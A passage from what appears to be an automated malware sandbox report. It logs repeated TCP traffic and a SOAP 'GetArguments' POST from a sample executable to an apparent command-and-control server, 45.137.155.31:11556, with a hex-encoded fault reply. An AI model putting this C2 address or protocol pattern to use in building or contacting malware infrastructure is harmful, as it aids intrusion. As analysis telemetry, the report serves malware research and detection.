Aug 3, 2021 23:09:16.130131960 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:16.133008957 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:16.205310106 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:16.245134115 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:17.215059996 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:17.283859015 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:17.284818888 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:17.355427027 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:17.403347015 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:18.807960987 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:18.878890991 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:18.900536060 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:18.993797064 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:19.042155981 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:20.074364901 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:20.144990921 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:20.145814896 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:20.217818022 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:20.261677027 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:21.230635881 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:21.299559116 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:21.300190926 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:21.369700909 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:21.417546988 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:22.387101889 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:22.459809065 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:22.460315943 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:22.530771971 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:22.573787928 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:23.543819904 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:23.614036083 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:23.614797115 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:23.690289021 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:23.731323957 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:24.700164080 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:24.783130884 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:24.783967018 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:24.860424042 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:24.902205944 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:25.871798992 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:25.941642046 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:25.942091942 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:26.011050940 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:26.058409929 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:27.028424025 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:27.097578049 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:27.098278999 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:27.167331934 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:27.214839935 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:28.184715986 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:28.254736900 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:28.255059004 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:28.326293945 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:28.371184111 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:29.341274023 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:29.409929991 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:29.411170006 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:29.480310917 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:29.527544022 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:30.498008013 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:30.567215919 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:30.568068027 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:30.640692949 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:30.683876991 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:31.653213024 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:31.722610950 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:31.723002911 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:31.792079926 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:31.840271950 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:32.809696913 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:32.879889011 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:32.880734921 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:32.952064037 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:32.996566057 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:33.966211081 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:34.043320894 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:34.043713093 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:34.113029003 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:34.152810097 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:35.123120070 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:35.192059994 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:35.195166111 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:35.268318892 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:35.309215069 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:36.278768063 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:36.350203991 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:36.350536108 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:36.421967983 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:36.465629101 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:37.435059071 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:37.511215925 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:37.511699915 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:37.586996078 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:37.637593985 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:38.591972113 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:38.661401987 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:38.662273884 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:38.733601093 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:38.778469086 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:39.747920990 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:39.819608927 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:39.820420980 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:39.893023014 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:39.935414076 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:40.904839039 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:40.981132030 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:40.982181072 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:41.051243067 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:41.091095924 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:42.060776949 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:42.129812002 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:42.130439997 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:42.199770927 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:42.247385979 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:43.217477083 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:43.289048910 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:43.289511919 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:43.360315084 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:43.403580904 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:44.373850107 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:44.445511103 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:44.446088076 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:44.515374899 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:44.559994936 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:45.529772997 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:45.598979950 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:45.599426031 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:45.670629025 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:45.716434956 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:46.685693026 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:46.754786015 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:46.755155087 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:46.832741976 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:46.872719049 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:47.842459917 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:47.930561066 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:47.931194067 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:48.010165930 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:48.060470104 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:49.014729977 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:49.085124016 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:49.085834980 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:49.156687975 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:49.200965881 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:50.170488119 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:50.239442110 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:50.239825964 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:50.313112974 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:50.357309103 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:51.327889919 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:51.397778034 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:51.451262951 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:51.460352898 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:51.531280994 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:51.576312065 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:52.817751884 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:52.886411905 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:52.886795044 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:52.957573891 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:52.998387098 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:53.967710972 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:54.042444944 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:54.043411016 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:54.131872892 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:54.185936928 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:55.140132904 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:55.210470915 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:55.211419106 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:55.281048059 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:55.326755047 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:56.296049118 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:56.380639076 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:56.381067038 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:56.450217962 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:56.498509884 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:57.467809916 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:57.538265944 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:57.541280031 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:57.613348961 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:57.654791117 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:58.625468016 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:58.694870949 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:58.695689917 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:58.765242100 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:58.811393023 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:59.781100035 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:59.849970102 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:59.850846052 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:09:59.922252893 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:09:59.967498064 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:00.937392950 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:01.006602049 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:01.007412910 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:01.087409019 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:01.139645100 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:02.093358040 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:02.163235903 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:02.163631916 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:02.234370947 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:02.280515909 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:03.249944925 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:03.319885969 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:03.320799112 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:03.394078970 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:03.436677933 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:04.406392097 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:04.480132103 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:04.480590105 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:04.550064087 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:04.592995882 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:05.562767029 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:05.632241964 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:05.633147955 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:05.702665091 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:05.749366999 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:06.719233036 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:06.789391994 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:06.790390015 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:06.861910105 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:06.906754971 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:07.875366926 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:07.944202900 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:07.946619034 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:08.017796040 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:08.062002897 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:09.031482935 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:09.101706028 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:09.102581978 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:09.172629118 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:09.218565941 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:10.187860966 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:10.257102013 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:10.258022070 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:10.328074932 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:10.374653101 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:11.344665051 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:11.415148020 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:11.416045904 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:11.486316919 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:11.531171083 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:12.501024961 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:12.585501909 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:12.586138010 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:12.658186913 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:12.703504086 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:13.675179958 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:13.744632006 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:13.746360064 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:13.816641092 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:13.860681057 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:14.828883886 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:14.898996115 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:14.901469946 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:14.970223904 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:15.015651941 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:15.985460997 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:16.055313110 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:16.055536032 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:16.125130892 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:16.172830105 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:17.141448975 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:17.210504055 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:17.210761070 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:17.283729076 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:17.328398943 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:18.297595024 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:18.366451979 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:18.366978884 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:18.435919046 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:18.484709978 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:19.455382109 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:19.524497986 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:19.526855946 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:19.598505974 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:19.641091108 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:20.611269951 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:20.682384014 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:20.683013916 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:20.761646986 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:20.815015078 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:21.766633034 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:21.839519024 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:21.839912891 CEST	49725	11556	192.168.2.3	45.137.155.31
Aug 3, 2021 23:10:21.912858963 CEST	11556	49725	45.137.155.31	192.168.2.3
Aug 3, 2021 23:10:21.955104113 CEST	49725	11556	192.168.2.3	45.137.155.31

HTTP Request Dependency Graph

45.137.155.31:11556

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49725	45.137.155.31	11556	C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Timestamp	kBytes transferred	Direction	Data
Aug 3, 2021 23:08:34.775641918 CEST	981	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 3, 2021 23:08:34.844460011 CEST	981	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:34.935828924 CEST	983	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:34 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 